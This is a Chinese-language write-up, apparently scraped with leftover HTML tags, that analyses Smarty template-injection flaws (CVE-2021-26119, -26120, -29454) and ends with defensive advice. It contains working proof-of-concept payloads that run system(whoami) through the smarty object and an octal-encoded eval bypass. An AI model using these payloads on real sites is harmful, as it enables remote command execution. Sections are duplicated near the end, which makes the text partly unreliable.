Smarty SSTI漏洞分析与利用指南<\/h1>

1. Smarty简介<\/h2>
Smarty是一个PHP模板引擎，采用变量替换原则实现前端(HTML)与后端(PHP)代码分离。其工作原理是在HTML文件中使用Smarty标签(如`{name}<\/code>)，然后通过Smarty方法传递变量参数。<\/p>`

2. 环境搭建<\/h2>

版本选择<\/strong>：根据漏洞需求选择不同Smarty版本<\/li>
下载地址<\/strong>：Smarty GitHub<\/a><\/li>
测试环境<\/strong>：

Windows 10 + phpstudy<\/li>
PHP 7.3.4<\/li>
<\/ul>
<\/li>
安装方法<\/strong>：下载源码后解压，引入Smarty.class.php<\/code>即可<\/li>
<\/ul>
3. 漏洞复现与分析<\/h2>
3.1 任意文件读取漏洞<\/h3>
特征<\/strong>：<\/p>

可以引入普通文件和PHP文件<\/li>
引入PHP文件时只能输出内容，不能执行代码<\/li>
<\/ul>
原因分析<\/strong>：<\/p>

Smarty使用正则表达式匹配<?php?><\/code>标签<\/li>
匹配到后会使用单引号包裹内容<\/li>
<\/ul>
3.2 CVE-2021-26120<\/h3>
漏洞描述<\/strong>：函数编译时未对name参数进行充分过滤<\/p>
修复版本<\/strong>：3.1.39<\/p>
修复方式<\/strong>：<\/p>

增加了正则表达式限制name参数内容<\/li>
防止恶意代码注入<\/li>
<\/ul>
3.3 CVE-2021-26119<\/h3>
POC示例<\/strong>：<\/p>
{<\/span>$smarty.template_object-><\/span>smarty<\/span>-><\/span>_getSmartyObj<\/span>()-><\/span>display<\/span>(<\/span>'string:{system(whoami)}'<\/span>)<\/span>}<\/span>
<\/span><\/span>{<\/span>$smarty.template_object-><\/span>smarty<\/span>-><\/span>enableSecurity<\/span>()-><\/span>display<\/span>(<\/span>'string:{system(whoami)}'<\/span>)<\/span>}<\/span>
<\/span><\/span>{<\/span>$smarty.template_object-><\/span>smarty<\/span>-><\/span>disableSecurity<\/span>()-><\/span>display<\/span>(<\/span>'string:{system(whoami)}'<\/span>)<\/span>}<\/span>
<\/span><\/span>{<\/span>$smarty.template_object-><\/span>smarty<\/span>-><\/span>addTemplateDir<\/span>(<\/span>'.\/x'<\/span>)-><\/span>display<\/span>(<\/span>'string:{system(whoami)}'<\/span>)<\/span>}<\/span>
<\/span><\/span>{<\/span>$smarty.template_object-><\/span>smarty<\/span>-><\/span>setTemplateDir<\/span>(<\/span>'.\/x'<\/span>)-><\/span>display<\/span>(<\/span>'string:{system(whoami)}'<\/span>)<\/span>}<\/span>
<\/span><\/span><\/code><\/pre>漏洞原因<\/strong>：<\/p>

通过{$smarty.template_object}<\/code>可以访问到smarty对象<\/li>
导致可以调用危险方法执行系统命令<\/li>
<\/ul>
版本影响<\/strong>：<\/p>

最新版本4.1.0和3.1.44仍受影响<\/li>
目前尚未修复<\/li>
<\/ul>
技术细节<\/strong>：<\/p>

触发漏洞后会在templates_c<\/code>目录生成两个模板编译文件<\/li>
第一个文件调用content_[hash1]<\/code>函数<\/li>
第二个文件调用content_[hash2]<\/code>函数并执行恶意代码<\/li>
<\/ol>
为什么需要复杂POC<\/strong>：<\/p>

直接传入string:{system(whoami)}<\/code>到$_POST['data']<\/code>会报错<\/li>
需要通过smarty对象间接调用才能成功执行<\/li>
<\/ul>
3.4 CVE-2021-29454<\/h3>
POC示例<\/strong>：<\/p>
eval:{<\/span>math<\/span> equation<\/span>=<\/span>'("\163\171\163\164\145\155")("\167\150\157\141\155\151")'<\/span>}<\/span>
<\/span><\/span><\/code><\/pre>漏洞原因<\/strong>：<\/p>

libs\/plugins\/function.math.php<\/code>中的smarty_function_math<\/code>执行了eval()<\/code><\/li>
可通过8进制数字绕过正则表达式过滤<\/li>
<\/ul>
修复版本<\/strong>：<\/p>

3.1.42<\/li>
4.0.2<\/li>
<\/ul>
技术细节<\/strong>：<\/p>

PHP的eval()<\/code>支持8进制和16进制数据<\/li>
PHP7支持(system)(whoami);<\/code>这种调用方式<\/li>
PHP5不支持这种调用方式，因此8进制方式在PHP5中不可用<\/li>
<\/ul>
修复方式<\/strong>：<\/p>

在3.1.42版本中增加了正则判断<\/li>
防止8进制编码绕过<\/li>
<\/ul>
4. 漏洞代码位置<\/h2>


CVE-2021-26120<\/strong>：<\/p>

libs\/sysplugins\/smarty_internal_compile_function.php<\/code><\/li>
Smarty_Internal_Compile_Function->compile()<\/code>方法<\/li>
<\/ul>
<\/li>

CVE-2021-29454<\/strong>：<\/p>

libs\/plugins\/function.math.php<\/code><\/li>
smarty_function_math<\/code>函数<\/li>
<\/ul>
<\/li>
<\/ol>
5. 防御建议<\/h2>

及时升级到最新修复版本<\/li>
对用户输入进行严格过滤<\/li>
避免在模板中直接使用用户可控数据<\/li>
禁用危险函数如eval()<\/code><\/li>
限制Smarty的权限和可访问目录<\/li>
<\/ol>
6. 参考资料<\/h2>

Smarty GitHub仓库<\/li>
官方漏洞公告<\/li>
PHP安全编程指南<\/li>
<\/ol>

Smarty SSTI漏洞分析与利用指南<\/h1>

1. Smarty简介<\/h2> Smarty是一个PHP模板引擎，采用变量替换原则实现前端(HTML)与后端(PHP)代码分离。其工作原理是在HTML文件中使用Smarty标签(如{name}<\/code>)，然后通过Smarty方法传递变量参数。<\/p>

3. 漏洞复现与分析<\/h2>

6. 参考资料<\/h2> Smarty GitHub仓库<\/li> 官方漏洞公告<\/li> PHP安全编程指南<\/li> <\/ol>

1. Smarty简介<\/h2>
Smarty是一个PHP模板引擎，采用变量替换原则实现前端(HTML)与后端(PHP)代码分离。其工作原理是在HTML文件中使用Smarty标签(如`{name}<\/code>)，然后通过Smarty方法传递变量参数。<\/p>`

6. 参考资料<\/h2>

Smarty GitHub仓库<\/li>
官方漏洞公告<\/li>
PHP安全编程指南<\/li> <\/ol>